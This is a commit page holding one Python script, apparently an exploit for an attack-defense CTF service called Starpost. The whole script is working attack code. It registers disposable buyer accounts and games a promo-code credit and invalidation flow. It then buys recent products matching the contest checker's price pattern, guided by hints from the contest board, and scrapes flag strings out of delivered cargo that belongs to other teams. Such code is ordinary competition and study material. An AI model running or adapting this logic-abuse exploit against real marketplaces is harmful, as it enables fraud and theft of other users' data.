feat: goctf final
This commit is contained in:
commit
f205b802d5
128 files changed
+37794
No files matched your search
Executable
+401
@@ -0,0 +1,401 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Buy recent affordable Starpost cargo and read it after warehouse delivery.
|
||||
|
||||
Neo passes one target address. Only event-format flags are written to stdout.
|
||||
This script uses public registration and the buyer's own promo; it needs no
|
||||
service secret, warehouse token, or Skipper credential.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from email.utils import parsedate_to_datetime
|
||||
from http.cookies import SimpleCookie
|
||||
from ipaddress import ip_address
|
||||
from queue import Empty, Queue
|
||||
from threading import Thread
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 8.5
|
||||
REQUEST_TIMEOUT = 1.2
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
|
||||
ATTACK_DATA_URL = os.environ.get(
|
||||
"STARPOST_ATTACK_DATA_URL",
|
||||
"https://board.academy.goctf.online/api/v1/attack_data/%D0%94%D0%9E%D0%9A",
|
||||
)
|
||||
# A/D checker traffic is staggered differently for each team, so a fixed UTC
|
||||
# second is not transferable. All observed checker-like products cost at
|
||||
# least 101 credits. Try the newest suitable product, then at most one from
|
||||
# the previous minute if delivery yields no flag. This is an empirical
|
||||
# heuristic, not a way to identify flag-bearing cargo.
|
||||
MAX_CANDIDATE_AGE = 145
|
||||
MIN_CANDIDATE_PRICE = 101
|
||||
MAX_CANDIDATES = 2
|
||||
MAX_ORDER_POLLS = 5
|
||||
POLL_INTERVAL = 0.3
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||
DECIMAL_HINT = re.compile(r"[1-9][0-9]{0,8}\Z")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
# In particular, do not follow a redirect to an unrelated host or use a
|
||||
# workstation HTTP proxy instead of the contest VPN route.
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def start_task(function, *args) -> Queue:
|
||||
result = Queue(maxsize=1)
|
||||
|
||||
def run():
|
||||
try:
|
||||
result.put((True, function(*args)))
|
||||
except Exception as exc:
|
||||
result.put((False, exc))
|
||||
|
||||
Thread(target=run, daemon=True).start()
|
||||
return result
|
||||
|
||||
|
||||
def task_result(result: Queue, deadline: float, wait_limit: float | None = None):
|
||||
remaining = deadline - time.monotonic()
|
||||
if wait_limit is not None:
|
||||
remaining = min(remaining, wait_limit)
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
try:
|
||||
ok, value = result.get(timeout=remaining)
|
||||
except Empty:
|
||||
raise TimeoutError("parallel request timed out") from None
|
||||
if not ok:
|
||||
raise value
|
||||
return value
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-market/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie is not None:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(target + path, data=body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
cookies = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
cookies.load(header)
|
||||
session = cookies["session"].value if "session" in cookies else None
|
||||
try:
|
||||
data = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, data, session
|
||||
|
||||
|
||||
def scan_flags(value: object) -> set[str]:
|
||||
# Only a delivered order's cargo is read here; avoid printing whole JSON.
|
||||
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
|
||||
|
||||
|
||||
def numeric_hints(payload: object, target_host: str) -> set[int]:
|
||||
"""Accept only exact per-IP positive decimal product IDs; ignore mixed hints."""
|
||||
try:
|
||||
target_ip = str(ip_address(target_host))
|
||||
except ValueError:
|
||||
return set()
|
||||
if not isinstance(payload, dict):
|
||||
raise ValueError("attack_data root is not an object")
|
||||
values = payload.get(target_ip)
|
||||
if values is None:
|
||||
return set()
|
||||
if not isinstance(values, list) or len(values) > 32:
|
||||
raise ValueError("attack_data target hints are invalid")
|
||||
return {int(value) for value in values if isinstance(value, str) and DECIMAL_HINT.fullmatch(value)}
|
||||
|
||||
|
||||
def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
|
||||
"""Read the public Skipper endpoint once; None means use catalog fallback."""
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
return None
|
||||
req = Request(ATTACK_DATA_URL, headers={"Accept": "application/json", "User-Agent": "neo-starpost-market/1.1"})
|
||||
try:
|
||||
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
if response.status != 200:
|
||||
return None
|
||||
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
|
||||
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
|
||||
return None
|
||||
return numeric_hints(json.loads(raw), target_host)
|
||||
except (HTTPError, URLError, OSError, TimeoutError, ValueError, UnicodeDecodeError, json.JSONDecodeError):
|
||||
return None
|
||||
|
||||
|
||||
def prepare_buyer(target: str, deadline: float) -> tuple[str, int, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
return cookie, user["balance"] + credited, promo["code"]
|
||||
|
||||
|
||||
def buy_product(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> tuple[int, object]:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo_code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
return status, invalidation
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
return status, order
|
||||
|
||||
|
||||
def parse_created_at(raw: object) -> datetime | None:
|
||||
if not isinstance(raw, str):
|
||||
return None
|
||||
try:
|
||||
created = datetime.fromisoformat(raw.replace("Z", "+00:00"))
|
||||
except ValueError:
|
||||
try:
|
||||
created = parsedate_to_datetime(raw)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
return created.astimezone(timezone.utc) if created.tzinfo else None
|
||||
|
||||
|
||||
def candidates(products: object, now: datetime | None = None, hint_ids: set[int] | None = None) -> list[tuple[int, int]]:
|
||||
if not isinstance(products, list):
|
||||
raise ValueError("products response is not a list")
|
||||
now = now or datetime.now(timezone.utc)
|
||||
if now.tzinfo is None:
|
||||
raise ValueError("now must have a timezone")
|
||||
found: list[tuple[datetime, int, int]] = []
|
||||
seen = set()
|
||||
have_hints = bool(hint_ids)
|
||||
for product in products:
|
||||
if not isinstance(product, dict):
|
||||
continue
|
||||
product_id, price = product.get("id"), product.get("price")
|
||||
created = parse_created_at(product.get("created_at"))
|
||||
valid_id = isinstance(product_id, int) and not isinstance(product_id, bool) and product_id > 0
|
||||
selected_by_hint = valid_id and have_hints and product_id in hint_ids
|
||||
selected_by_catalog = (not have_hints and created is not None
|
||||
and -5 <= (now - created).total_seconds() <= MAX_CANDIDATE_AGE)
|
||||
if (
|
||||
valid_id
|
||||
and isinstance(price, int)
|
||||
and not isinstance(price, bool)
|
||||
and MIN_CANDIDATE_PRICE <= price <= 200
|
||||
and product_id not in seen
|
||||
and created is not None
|
||||
and (selected_by_hint or selected_by_catalog)
|
||||
):
|
||||
found.append((created, product_id, price))
|
||||
seen.add(product_id)
|
||||
found.sort(reverse=True)
|
||||
if not found:
|
||||
return []
|
||||
if hint_ids:
|
||||
return [(product_id, price) for _, product_id, price in found[:MAX_CANDIDATES]]
|
||||
newest_minute = found[0][0].replace(second=0, microsecond=0)
|
||||
previous_minute = newest_minute - timedelta(minutes=1)
|
||||
selected: list[tuple[int, int]] = []
|
||||
used_minutes: set[datetime] = set()
|
||||
for created, product_id, price in found:
|
||||
minute = created.replace(second=0, microsecond=0)
|
||||
if minute not in {newest_minute, previous_minute} or minute in used_minutes:
|
||||
continue
|
||||
selected.append((product_id, price))
|
||||
used_minutes.add(minute)
|
||||
if len(selected) >= MAX_CANDIDATES:
|
||||
break
|
||||
return selected
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
buyer_task = start_task(prepare_buyer, target, deadline)
|
||||
products_task = start_task(request_json, target, "/api/products", deadline)
|
||||
hints_task = start_task(fetch_attack_hints, urlsplit(target).hostname or "", deadline)
|
||||
cookie, budget, promo_code = task_result(buyer_task, deadline)
|
||||
status, products, _ = task_result(products_task, deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"catalog returned HTTP {status}")
|
||||
try:
|
||||
hint_ids = task_result(hints_task, deadline, 0.1)
|
||||
except TimeoutError:
|
||||
hint_ids = None
|
||||
available = candidates(products, hint_ids=hint_ids)
|
||||
if not available:
|
||||
return [], 0, 0
|
||||
|
||||
flags: set[str] = set()
|
||||
bought_count = 0
|
||||
polls = 0
|
||||
for candidate_index, (product_id, price) in enumerate(available):
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
if price > budget:
|
||||
continue
|
||||
status, order = buy_product(target, product_id, cookie, promo_code, deadline)
|
||||
if status != 201 or not isinstance(order, dict):
|
||||
continue
|
||||
order_id = order.get("id")
|
||||
if not isinstance(order_id, int) or isinstance(order_id, bool) or order_id <= 0:
|
||||
continue
|
||||
bought_count += 1
|
||||
for poll in range(MAX_ORDER_POLLS):
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
if poll:
|
||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
polls += 1
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
break
|
||||
delivered_order = next(
|
||||
(item for item in orders if isinstance(item, dict) and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"),
|
||||
None,
|
||||
)
|
||||
if delivered_order is not None:
|
||||
flags.update(scan_flags(delivered_order.get("cargo")))
|
||||
break
|
||||
if flags:
|
||||
break
|
||||
if candidate_index + 1 < len(available):
|
||||
cookie, budget, promo_code = prepare_buyer(target, deadline)
|
||||
return sorted(flags), bought_count, polls
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
# A slow-drip HTTP response can keep an individual socket read alive past
|
||||
# its timeout. Neo runs this as a Linux child process; bound the whole run.
|
||||
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
||||
try:
|
||||
flags, bought, polls = run_exploit(sys.argv[1])
|
||||
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous_handler)
|
||||
print(f"bought={bought} order_polls={polls} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in new issue
Block a user